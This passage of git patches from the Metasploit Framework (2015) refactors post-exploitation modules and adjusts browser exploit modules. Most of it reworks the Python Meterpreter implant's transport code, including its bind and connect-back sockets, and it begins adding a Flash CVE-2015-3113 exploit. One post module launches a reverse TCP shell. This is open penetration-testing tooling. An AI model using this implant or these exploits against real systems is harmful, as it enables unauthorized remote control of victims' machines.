a/modules/post/multi/manage/system_session.rb b/modules/post/multi/manage/system_session.rb index 299cd0a965..7042d04d9f 100644 --- a/modules/post/multi/manage/system_session.rb +++ b/modules/post/multi/manage/system_session.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Post if not cmd.empty? print_status("Executing reverse tcp shel to #{lhost} on port #{lport}") - session.shell_command_token("(#{cmd} &)") + cmd_exec("(#{cmd} &)") end end From 656e6f5c7353cc624b8fbf8f02601f2a639e5165 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 29 Jun 2015 11:56:38 -0500 Subject: [PATCH 0603/1013] Fix windows enum modules --- modules/post/windows/gather/enum_computers.rb | 3 +-- modules/post/windows/gather/enum_domain_tokens.rb | 4 ++-- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/enum_computers.rb b/modules/post/windows/gather/enum_computers.rb index b7a921fd93..8ecc9ee524 100644 --- a/modules/post/windows/gather/enum_computers.rb +++ b/modules/post/windows/gather/enum_computers.rb @@ -29,7 +29,6 @@ class Metasploit3 < Msf::Post def run print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? domain = get_domain() - if not domain.empty? hostname_list = get_domain_computers() list_computers(domain, hostname_list) @@ -49,7 +48,7 @@ class Metasploit3 < Msf::Post def get_domain_computers() computer_list = [] devisor = "-------------------------------------------------------------------------------\r\n" - raw_list = client.shell_command_token("net view").split(devisor)[1] + raw_list = cmd_exec('net view').split(devisor)[1] if raw_list =~ /The command completed successfully/ raw_list.sub!(/The command completed successfully\./,'') raw_list.gsub!(/\\\\/,'') diff --git a/modules/post/windows/gather/enum_domain_tokens.rb b/modules/post/windows/gather/enum_domain_tokens.rb index 9480d1fb3d..c917d0be8d 100644 --- a/modules/post/windows/gather/enum_domain_tokens.rb +++ b/modules/post/windows/gather/enum_domain_tokens.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Post # List local group members def list_group_mem(group) devisor = "-------------------------------------------------------------------------------\r\n" - raw_list = client.shell_command_token("net localgroup #{group}").split(devisor)[1] + raw_list = cmd_exec("net localgroup #{group}").split(devisor)[1] account_list = raw_list.split("\r\n") account_list.delete("The command completed successfully.") return account_list @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Post def list_domain_group_mem(group) account_list = [] devisor = "-------------------------------------------------------------------------------\r\n" - raw_list = client.shell_command_token("net groups \"#{group}\" /domain").split(devisor)[1] + raw_list = cmd_exec("net groups \"#{group}\" /domain").split(devisor)[1] raw_list.split(" ").each do |m| account_list << m end From 02cd2a9cd9091c492dfee191073c903dc5a165e5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 29 Jun 2015 12:07:37 -0500 Subject: [PATCH 0604/1013] Fix #3951 Update Windows::Registry to use cmd_exec --- lib/msf/core/post/windows/registry.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/windows/registry.rb b/lib/msf/core/post/windows/registry.rb index 26ee1d7701..720e49dbef 100644 --- a/lib/msf/core/post/windows/registry.rb +++ b/lib/msf/core/post/windows/registry.rb @@ -170,7 +170,7 @@ protected elsif view == REGISTRY_VIEW_64_BIT cmd += " /reg:64" end - session.shell_command_token_win32("#{cmd} #{suffix}") + cmd_exec("#{cmd} #{suffix}") end def shell_registry_cmd_result(suffix, view = REGISTRY_VIEW_NATIVE) From 7aeb9e555b247eace2cfd124a167fc9e09be009f Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 29 Jun 2015 12:13:46 -0500 Subject: [PATCH 0605/1013] Change ranking and support CAMPAIGN_ID --- lib/msf/core/exploit/browser_autopwnv2.rb | 1 + modules/exploits/multi/browser/autopwn.rb | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index d2b3ccbf92..48d321bd27 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -348,6 +348,7 @@ module Msf multi_handler.datastore['PrependMigrateProc'] = datastore['PrependMigrateProc'] if datastore['PrependMigrateProc'] multi_handler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript'] if datastore['InitialAutoRunScript'] multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript'] + multi_handler.datastore['CAMPAIGN_ID'] = datastore['CAMPAIGN_ID'] if datastore['CAMPAIGN_ID'] # Configurable only by BAP multi_handler.datastore['EXITONSESSION'] = false diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index afecbfc00c..49113c3ecd 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserAutopwnv2 @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', {} ] ], 'Platform' => %w{ java linux osx solaris win android firefox }, 'Privileged' => false, - 'DisclosureDate' => "Feb 5 2014", + 'DisclosureDate' => "Jul 5 2015", 'Targets' => [ [ 'Automatic', {} ] ], 'References' => [ From 9a8ffacfd1fd3566ee46df0ef63fa8b6f166c7a9 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Mon, 29 Jun 2015 14:00:07 -0400 Subject: [PATCH 0606/1013] Pymet transport changing improvements --- data/meterpreter/meterpreter.py | 52 ++++++++++++++++++++++----------- 1 file changed, 35 insertions(+), 17 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index d62344edbc..c9acd73e6c 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -546,7 +546,7 @@ class TcpTransport(Transport): def _get_packet(self): packet = None - if len(select.select([self.socket], [], [], 0.5)[0]): + if select.select([self.socket], [], [], self.communication_timeout)[0]: packet = self.socket.recv(8) if len(packet) != 8: return None @@ -573,7 +573,7 @@ class TcpTransport(Transport): url = 'tcp6://' address, port = sock.getsockname()[:2] # this will need to be changed if the bind stager ever supports binding to a specific address - if not (address == '0.0.0.0' or address == '::'): + if not address in ('', '0.0.0.0', '::'): address, port = sock.getpeername()[:2] url += address + ':' + str(port) url = url @@ -638,17 +638,28 @@ class PythonMeterpreter(object): def session_has_expired(self): return time.time() > self.session_expiry_end - def change_transport(self, forward=True): - current_idx = self.transports.index(self.transport) - if forward: - new_idx = min(current_idx + 1, len(self.transports) - 1) - else: - new_idx = max(current_idx - 1, 0) - if new_idx == current_idx: + def transport_change(self, new_transport): + if new_transport == self.transport: return self.transport.deactivate() - self.transport = self.transports[new_idx] - self.transport.activate() + new_transport.activate() + self.transport = new_transport + + def transport_next(self, current_transport=None): + if current_transport is None: + current_transport = self.transport + new_idx = self.transports.index(current_transport) + 1 + if new_idx == len(self.transports): + new_idx = 0 + return self.transports[new_idx] + + def transport_prev(self, current_transport=None): + if current_transport is None: + current_transport = self.transport + new_idx = self.transports.index(current_transport) - 1 + if new_idx == 0: + new_idx = len(self.transports) - 1 + return self.transports[new_idx] def run(self): while self.running and not self.session_has_expired: @@ -676,7 +687,7 @@ class PythonMeterpreter(object): elif channel.poll() != None: self.handle_dead_resource_channel(channel_id) elif isinstance(channel, MeterpreterSocketClient): - while len(select.select([channel.fileno()], [], [], 0)[0]): + while select.select([channel.fileno()], [], [], 0)[0]: try: d = channel.recv(1) except socket.error: @@ -686,7 +697,7 @@ class PythonMeterpreter(object): break data += d elif isinstance(channel, MeterpreterSocketServer): - if len(select.select([channel.fileno()], [], [], 0)[0]): + if select.select([channel.fileno()], [], [], 0)[0]: (client_sock, client_addr) = channel.accept() server_addr = channel.getsockname() client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock)) @@ -788,22 +799,29 @@ class PythonMeterpreter(object): return ERROR_SUCCESS, response def _core_transport_change(self, request, response): - raise NotImplemented() + new_transport = Transport.from_request(request) + self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) + self.transport_change(new_transport) + return None def _core_transport_list(self, request, response): response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) - for transport in self.transports: + response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group()) + + transport = self.transport_next() + while transport != self.transport: response += tlv_pack(TLV_TYPE_TRANS_GROUP, transport.tlv_pack_transport_group()) + transport = self.transport_next(transport) return ERROR_SUCCESS, response def _core_transport_next(self, request, response): self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) - self.change_transport(forward=True) + self.transport_change(self.transport_next()) return None def _core_transport_prev(self, request, response): self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) - self.change_transport(forward=False) + self.transport_change(self.transport_prev()) return None def _core_transport_set_timeouts(self, request, response): From 3d49781230a66f712235dfeb9cb659d334106d77 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Mon, 29 Jun 2015 18:34:35 -0400 Subject: [PATCH 0607/1013] Pymet support for core_transport_sleep --- data/meterpreter/meterpreter.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index c9acd73e6c..a60b6150ae 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -844,7 +844,13 @@ class PythonMeterpreter(object): return ERROR_SUCCESS, response def _core_transport_sleep(self, request, response): - raise NotImplemented() + seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value'] + self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) + if seconds: + self.transport.deactivate() + time.sleep(seconds) + self.transport.activate() + return None def _core_channel_open(self, request, response): channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) From 3632cc44c59d757ed9eec12fb1e6a0c31833b45f Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Mon, 29 Jun 2015 16:40:58 -0500 Subject: [PATCH 0608/1013] Fix nil error when target not found --- .../exploits/windows/browser/mozilla_reduceright.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/mozilla_reduceright.rb b/modules/exploits/windows/browser/mozilla_reduceright.rb index 7a3e099a27..7f378c62e7 100644 --- a/modules/exploits/windows/browser/mozilla_reduceright.rb +++ b/modules/exploits/windows/browser/mozilla_reduceright.rb @@ -88,17 +88,21 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent !~ /Firefox\/3\.6\.(16|17)/ - print_error("This browser is not supported: #{agent.to_s}") + print_error("This browser is not supported: #{agent}") send_not_found(cli) return end my_target = target if my_target.name == 'Automatic' - if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/ + if agent =~ /NT 5\.1/ && agent =~ /Firefox\/3\.6\.16/ my_target = targets[1] - elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/ + elsif agent =~ /NT 6\.[01]/ && agent =~ /Firefox\/3\.6\.16/ my_target = targets[2] + else + print_error("This browser is not a viable target: #{agent}") + send_not_found(cli) + return end end From 6a45e196361d3ac2dfed68cf155e3f445bf4cd31 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Tue, 30 Jun 2015 15:25:23 -0400 Subject: [PATCH 0609/1013] Pymet fix bind and tcp socket cleanup logic --- data/meterpreter/meterpreter.py | 42 +++++++++++++++++++++++++-------- 1 file changed, 32 insertions(+), 10 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index a60b6150ae..b9ac4ebafc 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -488,7 +488,7 @@ class HttpTransport(Transport): def _get_packet(self): packet = None request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers) - url_h = urllib.urlopen(request) + url_h = urllib.urlopen(request, timeout=self.communication_timeout) packet = url_h.read() if packet: if packet[8:] == STAGE_START_MARKER: @@ -500,7 +500,7 @@ class HttpTransport(Transport): def _send_packet(self, packet): request = urllib.Request(self.url, packet, self._http_request_headers) - url_h = urllib.urlopen(request) + url_h = urllib.urlopen(request, timeout=self.communication_timeout) response = url_h.read() def tlv_pack_transport_group(self): @@ -516,6 +516,17 @@ class TcpTransport(Transport): super(TcpTransport, self).__init__() self.url = url self.socket = socket + self._cleanup_thread = None + + def _sock_cleanup(self, sock): + remaining_time = self.communication_timeout + while remaining_time > 0: + iter_start_time = time.time() + if select.select([sock], [], [], remaining_time)[0]: + if len(sock.recv(4096)) == 0: + break + remaining_time -= time.time() - iter_start_time + sock.close() def activate(self): if self.socket: @@ -527,12 +538,20 @@ class TcpTransport(Transport): family = socket.AF_INET6 address, port = self.url[7:].split(':', 1) port = int(port.rstrip('/')) - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - if address == '0.0.0.0' or address == '::': - sock.bind((address, port)) - sock.listen(1) - sock, _ = sock.accept() + if address in ('', '0.0.0.0', '::'): + try: + server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) + server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0) + except (AttributeError, socket.error): + server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_sock.bind(('', port)) + server_sock.listen(1) + if not select.select([server_sock], [], [], self.communication_timeout)[0]: + raise RuntimeError('connection timed out') + sock, _ = server_sock.accept() + server_sock.close() else: + sock = socket.socket(family, socket.SOCK_STREAM) sock.connect((address, port)) self.socket = sock return @@ -540,8 +559,8 @@ class TcpTransport(Transport): def deactivate(self): if not self.socket: return - self.socket.shutdown(socket.SHUT_RDWR) - self.socket.close() + cleanup = threading.Thread(target=self._sock_cleanup, args=(self.socket,)) + cleanup.run() self.socket = None def _get_packet(self): @@ -638,9 +657,11 @@ class PythonMeterpreter(object): def session_has_expired(self): return time.time() > self.session_expiry_end - def transport_change(self, new_transport): + def transport_change(self, new_transport=None): if new_transport == self.transport: return + if new_transport is None: + new_transport = self.transport_next() self.transport.deactivate() new_transport.activate() self.transport = new_transport @@ -800,6 +821,7 @@ class PythonMeterpreter(object): def _core_transport_change(self, request, response): new_transport = Transport.from_request(request) + self.transports.append(new_transport) self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) self.transport_change(new_transport) return None From 4b5b7c8a2710af00f361ac39896f79fbc78f1cbf Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Tue, 30 Jun 2015 15:46:33 -0400 Subject: [PATCH 0610/1013] Pymet support for core_transport_remove --- data/meterpreter/meterpreter.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index b9ac4ebafc..8088c6af2e 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -846,6 +846,20 @@ class PythonMeterpreter(object): self.transport_change(self.transport_prev()) return None + def _core_transport_remove(self, request, response): + url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] + if self.transport.url == url: + return ERROR_FAILURE, response + transport_found = False + for transport in self.transports: + if transport.url == url: + transport_found = True + break + if transport_found: + self.transports.remove(transport) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + def _core_transport_set_timeouts(self, request, response): timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value') if timeout_value: From 52086308b3ef678ec12d2c1d9299a4c7c8714f60 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 1 Jul 2015 00:22:54 -0500 Subject: [PATCH 0611/1013] bump to metasploit-payloads 1.0.4 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 1bbada3563..29efb30d4f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (~> 1.0) metasploit-model (~> 1.0) - metasploit-payloads (= 1.0.3) + metasploit-payloads (= 1.0.4) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.3) + metasploit-payloads (1.0.4) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index d4d0dcae22..244711be98 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -62,7 +62,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '~> 1.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.3' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.4' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From 6711091c70a5538cf92a74bd9af9185e8b5668c9 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 1 Jul 2015 00:31:09 -0500 Subject: [PATCH 0612/1013] update cached payload sizes --- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_tcp.rb | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 714b403634..e46cfa3aec 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 884270 + CachedSize = 884782 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 78561d56b4..d527597e9f 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 885314 + CachedSize = 885826 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 195a176b98..b1c5f3541e 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 885314 + CachedSize = 885826 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 6e2e54fe32..16d8395e1c 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 884270 + CachedSize = 884782 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 92121049a0..1d84ccbd5d 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit3 - CachedSize = 884270 + CachedSize = 884782 include Msf::Payload::TransportConfig include Msf::Payload::Windows From 2a891c50ebf8f8211f9b27b314135a115123c230 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed, 1 Jul 2015 11:12:30 -0400 Subject: [PATCH 0613/1013] Pymet transport stabilty and correction --- data/meterpreter/meterpreter.py | 146 ++++++++++++++++++++++---------- 1 file changed, 103 insertions(+), 43 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 8088c6af2e..9fdf586fdc 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -77,9 +77,6 @@ PACKET_TYPE_RESPONSE = 1 PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 -STAGE_END_MARKER = bytes('### meterpreter stage end ###\n') -STAGE_START_MARKER = bytes('#!/usr/b') - ERROR_SUCCESS = 0 # not defined in original C implementation ERROR_FAILURE = 1 @@ -409,10 +406,17 @@ class Transport(object): def __init__(self): self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT self.communication_last = 0 - self.communication_active = True + self.communication_active = False self.retry_total = SESSION_RETRY_TOTAL self.retry_wait = SESSION_RETRY_WAIT + def __repr__(self): + return "<{0} url='{1}' >".format(self.__class__.__name__, self.url) + + @property + def communication_has_expired(self): + return self.communication_last + self.communication_timeout < time.time() + @staticmethod def from_request(request): url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] @@ -427,30 +431,55 @@ class Transport(object): transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) return transport + def _activate(self): + return True + def activate(self): + end_time = time.time() + self.retry_total + while time.time() < end_time: + try: + activate_succeeded = self._activate() + except: + activate_succeeded = False + if activate_succeeded: + self.communication_last = time.time() + self.communication_active = True + return True + time.sleep(self.retry_wait) + return False + + def _deactivate(self): return def deactivate(self): - return + try: + self._deactivate() + except: + pass + self.communication_last = 0 + self.communication_active = False + return True def get_packet(self): - self.communication_active = False try: pkt = self._get_packet() except: + self.communication_active = False return None - self.communication_active = True - self.communication_last = time.time() + if pkt: + self.communication_active = True + self.communication_last = time.time() return pkt def send_packet(self, pkt): - self.communication_active = False try: self._send_packet(pkt) except: - return None + self.communication_active = False + return False self.communication_active = True self.communication_last = time.time() + return True def tlv_pack_timeouts(self): response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout) @@ -484,19 +513,32 @@ class HttpTransport(Transport): urllib.install_opener(opener) self.url = url self._http_request_headers = {'Content-Type': 'application/octet-stream'} + self._first_packet = None + + def _activate(self): + return True + self._first_packet = None + packet = self._get_packet() + if packet is None: + return False + self._first_packet = packet + return True def _get_packet(self): + if self._first_packet: + packet = self._first_packet + self._first_packet = None + return packet packet = None request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers) url_h = urllib.urlopen(request, timeout=self.communication_timeout) packet = url_h.read() - if packet: - if packet[8:] == STAGE_START_MARKER: - return _get_packet() - packet = packet[8:] - else: - packet = None - return packet + if not packet or len(packet) < 8: + return None + pkt_length, _ = struct.unpack('>II', packet[:8]) + if len(packet) != pkt_length: + return None + return packet[8:] def _send_packet(self, packet): request = urllib.Request(self.url, packet, self._http_request_headers) @@ -517,6 +559,7 @@ class TcpTransport(Transport): self.url = url self.socket = socket self._cleanup_thread = None + self._first_packet = True def _sock_cleanup(self, sock): remaining_time = self.communication_timeout @@ -528,9 +571,7 @@ class TcpTransport(Transport): remaining_time -= time.time() - iter_start_time sock.close() - def activate(self): - if self.socket: - return + def _activate(self): if self.url.startswith('tcp:'): family = socket.AF_INET address, port = self.url[6:].split(':', 1) @@ -538,6 +579,7 @@ class TcpTransport(Transport): family = socket.AF_INET6 address, port = self.url[7:].split(':', 1) port = int(port.rstrip('/')) + timeout = max(self.communication_timeout, 30) if address in ('', '0.0.0.0', '::'): try: server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) @@ -546,34 +588,41 @@ class TcpTransport(Transport): server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_sock.bind(('', port)) server_sock.listen(1) - if not select.select([server_sock], [], [], self.communication_timeout)[0]: - raise RuntimeError('connection timed out') + if not select.select([server_sock], [], [], timeout)[0]: + server_sock.close() + return False sock, _ = server_sock.accept() server_sock.close() else: sock = socket.socket(family, socket.SOCK_STREAM) + sock.settimeout(timeout) sock.connect((address, port)) + sock.settimeout(None) self.socket = sock - return + self._first_packet = True + return True - def deactivate(self): - if not self.socket: - return + def _deactivate(self): cleanup = threading.Thread(target=self._sock_cleanup, args=(self.socket,)) cleanup.run() self.socket = None def _get_packet(self): packet = None - if select.select([self.socket], [], [], self.communication_timeout)[0]: + first = self._first_packet + self._first_packet = False + if select.select([self.socket], [], [], max(self.communication_timeout, 0.5))[0]: packet = self.socket.recv(8) if len(packet) != 8: + if first and len(packet) == 4: + received = 0 + pkt_length = struct.unpack('>I', packet)[0] + self.socket.settimeout(max(self.communication_timeout, 30)) + while received < pkt_length: + received += len(self.socket.recv(pkt_length - received)) + self.socket.settimeout(None) + return self._get_packet() return None - if packet == STAGE_START_MARKER: - while self.socket.recv(len(STAGE_END_MARKER), socket.MSG_PEEK) != STAGE_END_MARKER: - self.socket.recv(1) - self.socket.recv(len(STAGE_END_MARKER)) - return self._get_packet() pkt_length, pkt_type = struct.unpack('>II', packet) pkt_length -= 8 packet = bytes() @@ -601,7 +650,6 @@ class TcpTransport(Transport): class PythonMeterpreter(object): def __init__(self, transport): self.transport = transport - self.transport.activate() self.running = False self.last_registered_extension = None self.extension_functions = {} @@ -648,13 +696,21 @@ class PythonMeterpreter(object): return idx def get_packet(self): - return self.transport.get_packet() + pkt = self.transport.get_packet() + if pkt is None and self.transport.communication_has_expired: + self.transport_change() + return pkt def send_packet(self, packet): - self.transport.send_packet(packet) + send_succeeded = self.transport.send_packet(packet) + if not send_succeeded and self.transport.communication_has_expired: + self.transport_change() + return send_succeeded @property def session_has_expired(self): + if self.session_expiry_time == 0: + return False return time.time() > self.session_expiry_end def transport_change(self, new_transport=None): @@ -663,7 +719,10 @@ class PythonMeterpreter(object): if new_transport is None: new_transport = self.transport_next() self.transport.deactivate() - new_transport.activate() + self.debug_print('[*] changing transport to: ' + new_transport.url) + while not new_transport.activate(): + new_transport = self.transport_next(new_transport) + self.debug_print('[*] changing transport to: ' + new_transport.url) self.transport = new_transport def transport_next(self, current_transport=None): @@ -685,7 +744,7 @@ class PythonMeterpreter(object): def run(self): while self.running and not self.session_has_expired: request = None - should_get_packet = self.transport.communication_active or ((time.time() - self.transport.communication_last) > 0.5) + should_get_packet = self.transport.communication_active or ((time.time() - self.transport.communication_last) > 1) if should_get_packet: request = self.get_packet() if request: @@ -827,7 +886,8 @@ class PythonMeterpreter(object): return None def _core_transport_list(self, request, response): - response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) + if self.session_expiry_time > 0: + response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group()) transport = self.transport_next() @@ -862,7 +922,7 @@ class PythonMeterpreter(object): def _core_transport_set_timeouts(self, request, response): timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value') - if timeout_value: + if not timeout_value is None: self.session_expiry_time = timeout_value self.session_expiry_end = time.time() + self.session_expiry_time timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value') @@ -875,7 +935,8 @@ class PythonMeterpreter(object): if retry_value: self.transport.retry_wait = retry_value - response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) + if self.session_expiry_time > 0: + response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) response += self.transport.tlv_pack_timeouts() return ERROR_SUCCESS, response @@ -885,7 +946,8 @@ class PythonMeterpreter(object): if seconds: self.transport.deactivate() time.sleep(seconds) - self.transport.activate() + if not self.transport.activate(): + self.transport_change() return None def _core_channel_open(self, request, response): @@ -1027,5 +1089,3 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): transport = TcpTransport.from_socket(s) met = PythonMeterpreter(transport) met.run() - -### meterpreter stage end ### From 1de94a68650d08244037ac7f1413b7aab7184284 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 1 Jul 2015 13:13:57 -0500 Subject: [PATCH 0614/1013] Add module for CVE-2015-3113 --- data/exploits/CVE-2015-3113/msf.swf | Bin 0 -> 20994 bytes external/source/exploits/CVE-2015-3113/Elf.as | 235 +++++++++++ .../source/exploits/CVE-2015-3113/Exploit.as | 114 +++++ .../CVE-2015-3113/ExploitByteArray.as | 85 ++++ .../exploits/CVE-2015-3113/ExploitVector.as | 75 ++++ .../exploits/CVE-2015-3113/Exploiter.as | 399 ++++++++++++++++++ .../source/exploits/CVE-2015-3113/Logger.as | 32 ++ external/source/exploits/CVE-2015-3113/PE.as | 72 ++++ .../browser/adobe_flash_nellymoser_bof.rb | 185 ++++++++ 9 files changed, 